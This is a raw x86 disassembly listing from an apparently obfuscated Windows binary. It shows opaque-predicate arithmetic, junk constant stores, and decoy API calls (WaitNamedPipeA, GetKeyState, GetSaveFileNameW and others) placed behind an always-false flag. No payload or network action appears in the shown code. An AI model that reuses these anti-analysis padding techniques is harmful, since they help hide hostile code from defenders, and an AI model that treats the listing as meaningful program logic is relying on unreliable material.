lea ecx, [ebp - 0xef8]
call fcn.10017853
mov dword [eax], 0xd594484f
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x1002f35c
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x1002f397
push dword [ebp - 0x10]
lea ecx, [ebp - 0xb78]
call fcn.10017853
mov dword [eax], 0xfa7bb34e
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1002f380
push dword [ebp - 0x3c]
lea ecx, [ebp - 0x470]
call fcn.10017853
push dword [ebp - 0x3c]
lea ecx, [ebp - 0x470]
mov esi, eax
call fcn.10017853
mov ecx, dword [esi]
push dword [ebp - 0x3c]
mov dword [eax], ecx
lea ecx, [ebp - 0x470]
call fcn.10017853
push dword [ebp - 0x3c]
lea ecx, [ebp - 0x470]
call fcn.10017853
mov ecx, dword [ebp - 0x18]
mov eax, dword [eax]
inc dword [ebp - 0x18]
cmp eax, ecx
jle 0x1002f41f
mov dword [ebp - 0xe18], edi
mov ecx, edi
mov eax, dword [ebp - 0x38]
xor ebx, ebx
cmp ecx, eax
lea ecx, [ebp - 0xb78]
push edi
setne bl
call fcn.10017853
mov dword [eax], ebx
test ebx, ebx
jne 0x1002f44f
push 2
lea ecx, [ebp - 0xb90]
call fcn.10017853
cmp dword [eax], ebx
jne 0x1002f44f
xor eax, eax
jmp 0x1002f451
xor eax, eax
lea ecx, [ebp - 0x470]
mov dword [ebp - 0xe18], eax
push dword [ebp - 0x3c]
call fcn.10017853
push edi
lea ecx, [ebp - 0xc2c]
mov esi, eax
call fcn.10017853
mov ecx, dword [eax]
cmp ecx, dword [esi]
je 0x1002f3ec
xor eax, eax
mov ecx, eax
jmp 0x1002f3ee
mov eax, edi
cmp eax, dword [ebp - 0x14]
jl 0x1002f461
xor eax, eax
cmp dword [ebp - 0x38], eax
je 0x1002f463
mov edx, edi
jmp 0x1002f465
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x20]
xor ecx, ecx
cmp edx, eax
setl cl
sub ecx, dword [ebp - 0x2c]
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, edi
lea ecx, [ebp - 0xb78]
setg al
imul eax, dword [ebp - 0x44]
mov dword [ebp - 0x14], eax
call fcn.1001784e
lea ecx, [ebp - 0xef8]
mov byte [ebp - 4], 0xf
call fcn.1001784e
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 2
push 3
pop ebx
jle 0x1002f322
lea ecx, [ebp - 0xb90]
call fcn.1001784e
lea ecx, [ebp - 0xc2c]
mov byte [ebp - 4], 0xd
call fcn.1001784e
dec dword [ebp - 0x48]
cmp dword [ebp - 0x48], 0xfffffff7
jle 0x1002f2a1
or esi, 0xffffffff
lea ecx, [ebp - 0x470]
mov dword [ebp - 4], esi
call fcn.1001784e
xor eax, eax
lea ecx, [ebp - 0x410]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x3c], 0x647f1a96
mov dword [ebp - 0x48], 0xe52509e7
push ebx
call fcn.100177e6
mov dword [ebp - 4], 0x12
xor eax, eax
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x30], 0x6e30f4ae
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x30], 0xd47ebdcf
mov dword [ebp - 0x18], 0xa597
mov dword [ebp - 0x2c], 0xac691c6c
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x1002f55d
push dword [ebp - 0x10]
lea ecx, [ebp - 0x410]
call fcn.10017853
mov dword [eax], 0xd5feaf86
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1002f53f
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x1002f573
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xe30], 0xdb06862e
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1002f562
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
dec eax
neg eax
sbb eax, eax
xor edx, edx
neg eax
mov dword [ebp - 0x3c], eax
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
cmp ecx, eax
setl dl
xor eax, eax
mov dword [ebp - 0x48], edx
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0xfffffff7
jg 0x1002f7f1
push 2
lea ecx, [ebp - 0xc74]
call fcn.100177e6
push ebx
lea ecx, [ebp - 0xc5c]
mov byte [ebp - 4], 0x13
call fcn.100177e6
xor eax, eax
mov byte [ebp - 4], 0x14
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x1002f604
push dword [ebp - 0x10]
lea ecx, [ebp - 0xc74]
call fcn.10017853
mov dword [eax], 0x8d08f492
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x1002f5e5
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x1002f620
push dword [ebp - 0x10]
lea ecx, [ebp - 0xc5c]
call fcn.10017853
mov dword [eax], 0x16971db9
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1002f609
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x3c], eax
xor eax, eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 2
jg 0x1002f7c7
mov dword [ebp - 0x38], 0xfffffffe
lea ecx, [ebp - 0xf60]
push 2
call fcn.100177e6
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0xc44]
mov dword [ebp - 0x44], 0xef54
push ebx
call fcn.100177e6
xor eax, eax
mov byte [ebp - 4], 0x16
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x1002f693
push dword [ebp - 0x10]
lea ecx, [ebp - 0xf60]
call fcn.10017853
mov dword [eax], 0xd594484f
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x1002f674
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x1002f6af
push dword [ebp - 0x10]
lea ecx, [ebp - 0xc44]
call fcn.10017853
mov dword [eax], 0xfa7bb34e
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1002f698
push dword [ebp - 0x3c]
lea ecx, [ebp - 0x410]
call fcn.10017853
push dword [ebp - 0x3c]
lea ecx, [ebp - 0x410]
mov esi, eax
call fcn.10017853
mov ecx, dword [esi]
push dword [ebp - 0x3c]
mov dword [eax], ecx
lea ecx, [ebp - 0x410]
call fcn.10017853
push dword [ebp - 0x3c]
lea ecx, [ebp - 0x410]
call fcn.10017853
mov ecx, dword [ebp - 0x18]
mov eax, dword [eax]
inc dword [ebp - 0x18]
cmp eax, ecx
jle 0x1002f737
mov dword [ebp - 0xe30], edi
mov ecx, edi
mov eax, dword [ebp - 0x38]
xor ebx, ebx
cmp ecx, eax
lea ecx, [ebp - 0xc44]
push edi
setne bl
call fcn.10017853
mov dword [eax], ebx
test ebx, ebx
jne 0x1002f767
push 2
lea ecx, [ebp - 0xc5c]
call fcn.10017853
cmp dword [eax], ebx
jne 0x1002f767
xor eax, eax
jmp 0x1002f769
xor eax, eax
lea ecx, [ebp - 0x410]
mov dword [ebp - 0xe30], eax
push dword [ebp - 0x3c]
call fcn.10017853
push edi
lea ecx, [ebp - 0xc74]
mov esi, eax
call fcn.10017853
mov ecx, dword [eax]
cmp ecx, dword [esi]
je 0x1002f704
xor eax, eax
mov ecx, eax
jmp 0x1002f706
mov eax, edi
cmp eax, dword [ebp - 0x14]
jl 0x1002f779
xor eax, eax
cmp dword [ebp - 0x38], eax
je 0x1002f77b
mov edx, edi
jmp 0x1002f77d
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x20]
xor ecx, ecx
cmp edx, eax
setl cl
sub ecx, dword [ebp - 0x2c]
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, edi
lea ecx, [ebp - 0xc44]
setg al
imul eax, dword [ebp - 0x44]
mov dword [ebp - 0x14], eax
call fcn.1001784e
lea ecx, [ebp - 0xf60]
mov byte [ebp - 4], 0x14
call fcn.1001784e
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 2
push 3
pop ebx
jle 0x1002f63a
lea ecx, [ebp - 0xc5c]
call fcn.1001784e
lea ecx, [ebp - 0xc74]
mov byte [ebp - 4], 0x12
call fcn.1001784e
dec dword [ebp - 0x48]
cmp dword [ebp - 0x48], 0xfffffff7
jle 0x1002f5b9
or esi, 0xffffffff
lea ecx, [ebp - 0x410]
mov dword [ebp - 4], esi
call fcn.1001784e
mov dword [ebp - 0x20], 0xfffffffd
mov dword [ebp - 0x38], 7
mov dword [ebp - 0x38], 0xf7e44142
mov dword [ebp - 0x18], 0xfff7
mov dword [ebp - 0x48], esi
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x38], edi
mov edi, 0xca48c20f
imul ecx, dword [ebp - 0x38], 0xf1fd
mov eax, edi
sub eax, ecx
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x20]
neg ecx
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
setl dl
xor ecx, ecx
imul edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
cmp edx, eax
setne cl
xor eax, eax
cmp ecx, esi
setge al
xor edx, edx
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
add eax, 0xe584
cmp eax, 0x8cb6
mov eax, dword [ebp - 0x20]
setle dl
xor ecx, ecx
cmp eax, edx
setle cl
xor eax, eax
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x48], eax
jmp 0x1002f8b5
mov dword [ebp - 0x38], 0x4179
inc dword [ebp - 0x38]
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x1002f8b2
push 0x11e7
push eax
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
xor eax, eax
dec dword [ebp - 0x48]
cmp dword [ebp - 0x48], 0xfffffff8
je 0x1002f891
push 2
lea ecx, [ebp - 0x318]
call fcn.100177e6
mov dword [ebp - 4], 0x17
xor eax, eax
mov dword [ebp - 0x18], 0xfffffffc
mov dword [ebp - 0x14], 7
mov dword [ebp - 0x20], 0x3631e19e
mov dword [ebp - 0x14], 0x8bdfadf6
mov dword [ebp - 0x38], 0xa68fab8d
mov dword [ebp - 0x2c], 0xef874ac
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x1002f923
push dword [ebp - 0x10]
lea ecx, [ebp - 0x318]
call fcn.10017853
mov dword [eax], 0x2faf
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x1002f904
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x1002f939
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1358], 0xf85a
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1002f928
xor ebx, ebx
lea ecx, [ebp - 0x318]
inc ebx
push ebx
call fcn.10017853
xor ecx, ecx
cmp dword [eax], ecx
setne cl
xor eax, eax
mov dword [ebp - 0x18], ecx
cmp dword [ebp - 0x18], eax
je 0x1002f9be
push ebx
lea ecx, [ebp - 0x318]
call fcn.10017853
push ebx
lea ecx, [ebp - 0x318]
call fcn.10017853
cmp dword [eax], 0x8df0
jne 0x1002f98a
push ebx
lea ecx, [ebp - 0x318]
call fcn.10017853
dec dword [ebp - 0x14]
lea ecx, [ebp - 0x318]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], 0xc4b7c700
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x20]
push ebx
call fcn.10017853
push ebx
lea ecx, [ebp - 0x318]
call fcn.10017853
mov esi, dword [ebp - 0x20]
lea ecx, [ebp - 0x318]
neg esi
push ebx
sbb esi, esi
neg esi
call fcn.10017853
xor edx, edx
mov ecx, dword [eax]
mov eax, dword [ebp - 0x38]
imul ecx, esi
cmp ecx, eax
mov eax, dword [ebp - 0x38]
setl dl
xor ecx, ecx
cmp edx, eax
setne cl
mov dword [ebp - 0x2c], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x1350]
cmp eax, 0x50e8
setge cl
or eax, 0xffffffff
mov dword [ebp - 0x14], ecx
lea ecx, [ebp - 0x318]
mov dword [ebp - 4], eax
call fcn.1001784e
mov dword [ebp - 0x40], ebx
lea ecx, [ebp - 0x298]
mov dword [ebp - 0x24], 0x54dbbe5
mov dword [ebp - 0x18], 0xffff
push 4
call fcn.100177e6
xor eax, eax
mov dword [ebp - 4], 0x18
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jge 0x1002fa62
push dword [ebp - 0x10]
lea ecx, [ebp - 0x298]
call fcn.10017853
mov dword [eax], 0xfffffff8
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x1002fa43
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x1002fa84
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x5b0], 0xf0451807
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x1002fa6b
xor eax, eax
cmp dword [ebp - 0x24], eax
je 0x1002fa8c
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
lea ecx, [ebp - 0x298]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x24]
push 3
pop esi
push esi
call fcn.10017853
push ebx
lea ecx, [ebp - 0x298]
call fcn.10017853
xor ebx, ebx
lea ecx, [ebp - 0x298]
push esi
cmp dword [eax], 0xa6b2
setg bl
call fcn.10017853
mov eax, dword [eax]
imul eax, ebx
mov dword [ebp - 0x24], eax
xor eax, eax
cmp dword [ebp - 0x24], eax
je 0x1002fb13
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], al
je 0x1002faff
push eax
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
xor eax, eax
xor ebx, ebx
inc ebx
or ecx, 0xffffffff
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], esi
jg 0x1002fccb
jmp 0x1002fb5d
xor ebx, ebx
inc ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x24], eax
jmp 0x1002fb33
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x1002fb30
push eax
call dword [sym.imp.COMDLG32.dll_GetSaveFileNameW]
xor eax, eax
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xfffffffa
jge 0x1002fb1e
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0xfffffffe
je 0x1002fb02
or ecx, 0xffffffff
mov dword [ebp - 0x38], ecx
cmp dword [ebp - 0x2c], eax
jne 0x1002fb05
inc dword [ebp - 0x38]
dec dword [ebp - 0x40]
cmp dword [ebp - 0x40], 0xfffffffe
jne 0x1002fb45
jmp 0x1002fb05
xor eax, eax
mov dword [ebp - 0x30], 0x600ac80e
mov dword [ebp - 0x44], 8
mov dword [ebp - 0x30], ecx
lea ecx, [ebp - 0x668]
mov dword [ebp - 0x30], 0x642ee1e3
mov dword [ebp - 0x30], 0xac77acae
mov dword [ebp - 0x18], eax
push esi
call fcn.100177e6
mov byte [ebp - 4], 0x19
xor eax, eax
mov dword [ebp - 0x2c], 0x3efbb05d
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jge 0x1002fbba
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1488], 0x8140a971
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x1002fba1
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x1002fbd6
push dword [ebp - 0x10]
lea ecx, [ebp - 0x668]
call fcn.10017853
mov dword [eax], 0x3f8c
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1002fbbf
mov dword [ebp - 0x40], 0x2a6add33
lea ecx, [ebp - 0x298]
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x1484], eax
mov dword [ebp - 0x5ac], eax
push dword [ebp - 0x24]
call fcn.10017853
mov eax, dword [ebp - 0x18]
lea ecx, [ebp - 0x298]
inc dword [ebp - 0x18]
push dword [ebp - 0x24]
call fcn.10017853
push esi
lea ecx, [ebp - 0x298]
call fcn.10017853
push dword [ebp - 0x24]
lea ecx, [ebp - 0x298]
call fcn.10017853
xor eax, eax
lea ecx, [ebp - 0x668]
push eax
call fcn.10017853
xor eax, eax
lea ecx, [ebp - 0x668]
push eax
call fcn.10017853
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x5ac]
mov eax, dword [ebp - 0x5ac]
mov eax, dword [ebp - 0x24]
sub eax, 0xc2888a0
jne 0x1002fc79
push ebx
lea ecx, [ebp - 0x668]
call fcn.10017853
cmp dword [eax], 0
jne 0x1002fc79
xor eax, eax
mov esi, eax
jmp 0x1002fc7b
mov esi, ebx
push dword [ebp - 0x24]
lea ecx, [ebp - 0x298]
call fcn.10017853
xor ecx, ecx
test esi, esi
sete cl
xor edx, edx
cmp dword [eax], ecx
lea ecx, [ebp - 0x668]
mov eax, dword [ebp - 0x44]
setne dl
sub edx, eax
xor eax, eax
cmp edx, 0x7f1a9f13
setne al
mov dword [ebp - 0x40], eax
mov byte [ebp - 4], 0x18
call fcn.1001784e
inc dword [ebp - 0x24]
push 3
pop esi
push 0xffffffffffffffff
pop ecx
cmp dword [ebp - 0x24], esi
jle 0x1002fb5b
or eax, 0xffffffff
lea ecx, [ebp - 0x298]
mov dword [ebp - 4], eax
call fcn.1001784e
xor eax, eax
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x3c], 7
mov dword [ebp - 0x18], esi
cmp dword [ebp - 0x3c], eax
je 0x1002fd76
or ecx, 0xffffffff
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x14], eax
jne 0x1002fd34
mov eax, dword [ebp - 0x3c]
xor edx, edx
cmp eax, ebx
setle dl
sub edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setne cl
sub ecx, dword [ebp - 0x14]
neg ecx
sbb ecx, ecx
inc ecx
cmp ecx, 0xfe5a
jle 0x1002fd34
xor eax, eax
mov edx, eax
jmp 0x1002fd36
mov edx, ebx
mov eax, dword [ebp - 0x3c]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x14]
setg cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x3c]
setge dl
xor ecx, ecx
cmp eax, edx
setg cl
xor eax, eax
imul ecx, dword [ebp - 0x14]
neg ecx
je 0x1002fd65
mov edx, ebx
cmp dword [ebp - 0x3c], eax
jne 0x1002fd67
mov edx, eax
mov eax, dword [ebp - 0x14]
xor ecx, ecx
cmp edx, eax
setg cl
mov dword [ebp - 0x2c], ecx
jmp 0x1002fdc7
mov dword [ebp - 0x3c], 0xe
cmp dword [ebp - 0x3c], 0x25
jl 0x1002fdb3
mov dword [ebp - 0x14], eax
jmp 0x1002fd99
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x650], 0x74b6
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1002fd88
mov eax, dword [ebp - 0x650]
mov dword [ebp - 0x18], eax
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 0x25
push 0
pop eax
jge 0x1002fd83
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x1002fdc7
push 0x9dc
call dword [sym.imp.USER32.dll_GetKeyState]
mov eax, dword [ebp - 0x18]
push 8
pop ecx
mov dword [ebp - 0x18], ecx
or eax, 0xffffffff
mov dword [ebp - 0x18], eax
xor eax, eax
mov dword [ebp - 0x20], 0xc07e17f7
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x38], 0xfffffffa
mov dword [ebp - 0x38], ecx
lea ecx, [ebp - 0xc8c]
push 2
call fcn.100177e6
mov dword [ebp - 4], 0x1a
xor eax, eax
mov dword [ebp - 0x30], 0xfffa
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x1002fe29
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x748], 0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1002fe11
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x1002fe45
push dword [ebp - 0x10]
lea ecx, [ebp - 0xc8c]
call fcn.10017853
mov dword [eax], 0x3147f59e
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x1002fe2e
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x14]
neg ecx
sbb ecx, ecx
xor edx, edx
neg ecx
add eax, ecx
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x20]
cmp eax, ecx
setl dl
mov dword [ebp - 0x748], edx
mov eax, dword [ebp - 0x14]
add eax, edx
sub eax, dword [ebp - 0x14]
neg eax
sbb eax, eax
inc eax
sub eax, dword [ebp - 0x20]
neg eax
sbb eax, eax
or ecx, 0xffffffff
inc eax
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0x748]
cmp ecx, eax
lea ecx, [ebp - 0xc8c]
sbb esi, esi
xor eax, eax
push eax
inc esi
call fcn.10017853
xor ecx, ecx
mov dword [eax], esi
mov eax, dword [ebp - 0x20]
cmp eax, esi
setl cl
or esi, 0xffffffff
imul eax, ecx, 3
lea ecx, [ebp - 0xc8c]
add eax, 0x73598422
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x748]
mov dword [ebp - 0x744], eax
mov dword [ebp - 4], esi
call fcn.1001784e
mov dword [ebp - 0x3c], 0x647f1a96
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x30], 0xfffffffb
mov dword [ebp - 0x30], 0x69576881
push 9
pop eax
mov dword [ebp - 0x200], eax
mov dword [ebp - 0x1fc], eax
mov dword [ebp - 0x1f8], eax
mov dword [ebp - 0x1f4], eax
mov dword [ebp - 0x30], 0x9b46
mov dword [ebp - 0x10], 0xfffffff0
jmp 0x1002fff4
mov dword [ebp - 0x20], 0xa12b57e8
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x30], 0xb64b5c6f
mov dword [ebp - 0x30], 0xfffffffd
mov dword [ebp - 0x30], 0xa75a592c
mov dword [ebp - 0x30], 0xbae0fc36
mov dword [ebp - 0x30], 0x678e045d
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x20], 0xffffffed
jmp 0x1002ffe7
mov dword [ebp - 0x30], 0x2c9cc141
lea ecx, [ebp - 0xe48]
mov dword [ebp - 0x30], 0xfa5f9c71
mov dword [ebp - 0x30], 0x3f0d3ecf
push 2
call fcn.100177e6
mov dword [ebp - 4], 0x1b
xor eax, eax
mov dword [ebp - 0x38], 0xb7e2
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x1002ffc2
push dword [ebp - 0x14]
lea ecx, [ebp - 0xe48]
call fcn.10017853
mov dword [eax], 0xfffffff8
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1002ffa3
xor eax, eax
dec dword [ebp - 0x38]
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x1002ffd6
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
lea ecx, [ebp - 0xe48]
mov dword [ebp - 4], esi
call fcn.1001784e
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xfffffff4
jge 0x1002ff68
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 8
jge 0x1002ff2f
mov dword [ebp - 0x24], 0xe52509e7
lea ecx, [ebp - 0x458]
push ebx
call fcn.100177e6
xor eax, eax
mov dword [ebp - 4], 0x1c
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jge 0x1003003c
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x14a0], 0xdc85
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x10030023
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x10030062
push dword [ebp - 0x10]
lea ecx, [ebp - 0x458]
call fcn.10017853
mov dword [eax], 0xe76f5020
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x10030044
xor eax, eax
push eax
lea ecx, [ebp - 0x458]
call fcn.10017853
push 3
pop esi
lea ecx, [ebp - 0x458]
mov dword [eax], esi
xor eax, eax
push eax
call fcn.10017853
cmp dword [eax], 0
jl 0x100300e8
xor eax, eax
lea ecx, [ebp - 0x458]
push eax
call fcn.10017853
mov eax, dword [eax]
cmp dword [ebp + eax*4 - 0x14a0], 0
jne 0x100300e5
xor eax, eax
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], al
je 0x100300c4
mov ebx, dword [sym.imp.USER32.dll_GetDesktopWindow]
push 0x2131
push eax
call ebx
push eax
call ebx
push eax
call dword [sym.imp.USER32.dll_MapWindowPoints]
xor eax, eax
push eax
lea ecx, [ebp - 0x458]
call fcn.10017853
lea ecx, [ebp - 0x458]
dec dword [eax]
xor eax, eax
push eax
call fcn.10017853
cmp dword [eax], 0
jge 0x10030086
xor ebx, ebx
inc ebx
or eax, 0xffffffff
lea ecx, [ebp - 0x458]
mov dword [ebp - 4], eax
call fcn.1001784e
push esi
lea ecx, [ebp - 0x440]
call fcn.100177e6
mov dword [ebp - 4], 0x1d
xor eax, eax
mov dword [ebp - 0x20], eax
or ecx, 0xffffffff
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x30], 0x6524f204
mov dword [ebp - 0x924], ebx
mov dword [ebp - 0x920], ebx
mov dword [ebp - 0x91c], ebx
mov dword [ebp - 0x918], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0xffffffe7
jg 0x1003024d
or edi, ecx
mov dword [ebp - 0x2c], edi
lea ecx, [ebp - 0x808]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x30], 0x12af04
mov dword [ebp - 0x30], 0x368a9017
mov dword [ebp - 0x30], 0xfffffffe
push esi
call fcn.100177e6
mov byte [ebp - 4], 0x1e
xor eax, eax
mov dword [ebp - 0x30], 0x7e318b47
mov dword [ebp - 0x44], 0x69e8a28d
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x100301af
push dword [ebp - 0x14]
lea ecx, [ebp - 0x808]
call fcn.10017853
mov dword [eax], 0xa63a74ad
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10030191
xor eax, eax
cmp dword [ebp - 0x2c], eax
jne 0x100301ec
dec dword [ebp - 0x18]
lea ecx, [ebp - 0x808]
push ebx
call fcn.10017853
mov ecx, dword [ebp - 0x920]
add ecx, 3
mov edx, dword [eax]
mov eax, dword [ebp - 0x18]
add edx, ecx
xor ecx, ecx
cmp eax, ebx
setge cl
imul ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x38]
imul eax, edx
sub eax, ecx
jne 0x100301ec
mov esi, eax
jmp 0x100301ee
mov esi, ebx
push ebx
lea ecx, [ebp - 0x808]
call fcn.10017853
xor edx, edx
sub esi, dword [eax]
mov eax, dword [ebp - 0x920]
add esi, 0x2b29
cmp esi, 0x2614f5c6
setge dl
xor ecx, ecx
cmp edx, eax
setge cl
mov dword [ebp - 0x38], ecx
lea ecx, [ebp - 0x808]
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x38], eax
mov byte [ebp - 4], 0x1d
call fcn.1001784e
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xffffffe7
push 0
pop eax
push 3
pop esi
jle 0x1003014e
mov edi, 0xca48c20f
or ecx, 0xffffffff
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x20], 0x2443250e
mov dword [ebp - 0x18], 7
mov dword [ebp - 0x10], 0x236bbbd2
mov dword [ebp - 0x14], eax
jmp 0x10030277
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x614], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1003026a
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x20]
jne 0x1003028f
xor eax, eax
cmp dword [ebp - 0x20], eax
je 0x10030291
mov ecx, ebx
jmp 0x10030293
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x60c]
cmp eax, dword [ebp - 0x610]
jge 0x100302aa
mov eax, dword [ebp - 0x60c]
xor eax, eax
mov edx, 0x80254f8
cmp ecx, ebx
je 0x10030391
